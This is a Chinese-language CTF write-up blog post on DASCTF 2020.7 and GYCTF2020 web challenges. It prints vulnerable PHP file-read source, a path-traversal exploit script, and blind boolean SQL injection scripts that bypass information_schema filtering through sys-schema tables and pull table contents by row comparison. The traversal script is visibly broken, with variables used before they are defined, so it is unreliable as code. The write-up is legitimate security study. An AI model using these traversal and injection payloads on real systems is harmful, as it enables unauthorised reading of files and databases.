[dasctf2020.7]web&&[GYCTF2020]Ezsqli

我昨天去做头发去了哈哈哈哈哈哈哈

而且刚比赛完环境就打不开了- -

复现不了web3了555 就写下前两题吧

Ezfileinclude

找来了源码,大概搭了一下。我tnl

<?php

if(!isset($_GET['t']) || !isset($_GET['f'])){
echo "you miss some parameters";
exit();
}

$timestamp = time();

if(abs($_GET['t'] - $timestamp) > 10){
echo "what's your time?";
exit();
}

$file = base64_decode($_GET['f']);

if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
echo 'You are not allowed to do that.';
}
else{
echo file_get_contents('/var/www/html/img/'.$file);
}

?>

t=获取了当前时间,f=后是base64后的文件名。

比较简单,exp

import requests
import time
import base64
url = "http://xxx.test.php?t={}&f={}".format(time,file)
time = int(time.time())
filename = 'ne/../../../../../../../../flag'
file = base.b64encode(filename.encode("utf-8")).decode("utf-8")
r = requests(url)
print(r.text)

SQLi

🈚️源码我复现不了- -但和[GYCTF2020]Ezsqli差不多,就写下这道题吧。

[GYCTF2020]Ezsqli

id=1–>Nu1L

id=2–>V&N

id=0–>Error Occured When Fetch Result.

fuzz了一下,这道题过滤蛮多的

绕过information_schema

可以用以下绕过

  • sys.schema_table_statistics_with_buffer
  • sys.x$schema_flattened_keys
  • sys.schema_auto_increment_columns
  • sys.x$schema_table_statistics

具体见这篇文章

构造脚本:

import requests

url = 'http://9c37cf03-7f47-40c9-9dcc-139e3cb554c2.node3.buuoj.cn/index.php'

flag = ""

payload1 = "0^(ascii(substr((select group_concat(table_name)from(sys.x$schema_flattened_keys)where table_schema=database()),{0},1))>{1})"
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data = {"id": payload1.format(i, mid)}
r = requests.post(url, data=data)
if 'Nu1L' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 132:
break
flag += chr(mid)
print(flag)

print(flag)

得到表名了

但无法得到column_name,因此就要用到无列名注入了。

无列名注入

一般的无列名注入可以用union select

猜列数时可以一位一位的加,列数不对应就查不出来。

select 1,2 union select * from test;
select `2` from (select 1,2 union select * from test)a;

这样就能查询到了。

但这道题过滤了union select

因此可以这样:

((1,1)>(select * from f1ag_1s_h3r3_hhhhh))

回显为Nu1L的话就说明有两列。

由于过滤了union select,jion。因此又学到了一种方法,用比较ascii的方法来爆出列里的内容。

在mysql中,大小比较和strcmp()相似。对应的从左到右依次按照ascii值比较,当第一位相同时比较第二位;当第一位长度比较出来后(例如前者大),那么就是前者大;依次类推,与长度无关。

例如:

mysql> select ('a')>('bbb');
+---------------+
| ('a')>('bbb') |
+---------------+
| 0 |
+---------------+
1 row in set (0.00 sec)
mysql> select ('c')>('bbb');
+---------------+
| ('c')>('bbb') |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
mysql> select ('bcd')>('bbb');
+-----------------+
| ('bcd')>('bbb') |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)

这里有个坑,我还以为是我的问题- -

在mysql中,在进行字符串的比较时,会截取字符串中最后一位数字及其之前的数字(我哭了我在讲个什么)

还是看例子吧:

  • ‘aaaaa’ –> 0
  • ‘1’ –>1
  • ‘11aaa’ –> 1

因此数字在和字母或单词比较时,结果永远为数字大于后者。

因此我们可以写以下脚本来比较:

对了这里还有个问题就是mysql不区分大小写,例如

mysql> select ('BBB')>('bAb');
+-----------------+
| ('BBB')>('bAb') |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)

所以爆出来的flag全是大写,提交不正确的话要改成小写才行(并且如果出题人的flag里又有大写又有小写就8行- -那就是出题人的锅了

“所以substr还是有意义的”

脚本:

import requests
url = "http://9c37cf03-7f47-40c9-9dcc-139e3cb554c2.node3.buuoj.cn/index.php"
flag = ''
for i in range(1,500):
for j in range(32,127):
flagg = flag + chr(j)
payload = "0^((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flagg)
data = {'id':payload}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag = flag+chr(j-1)
print(flag)
break
Author: Neorah
Link: https://neorah.me/ctf/dasctf202007/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.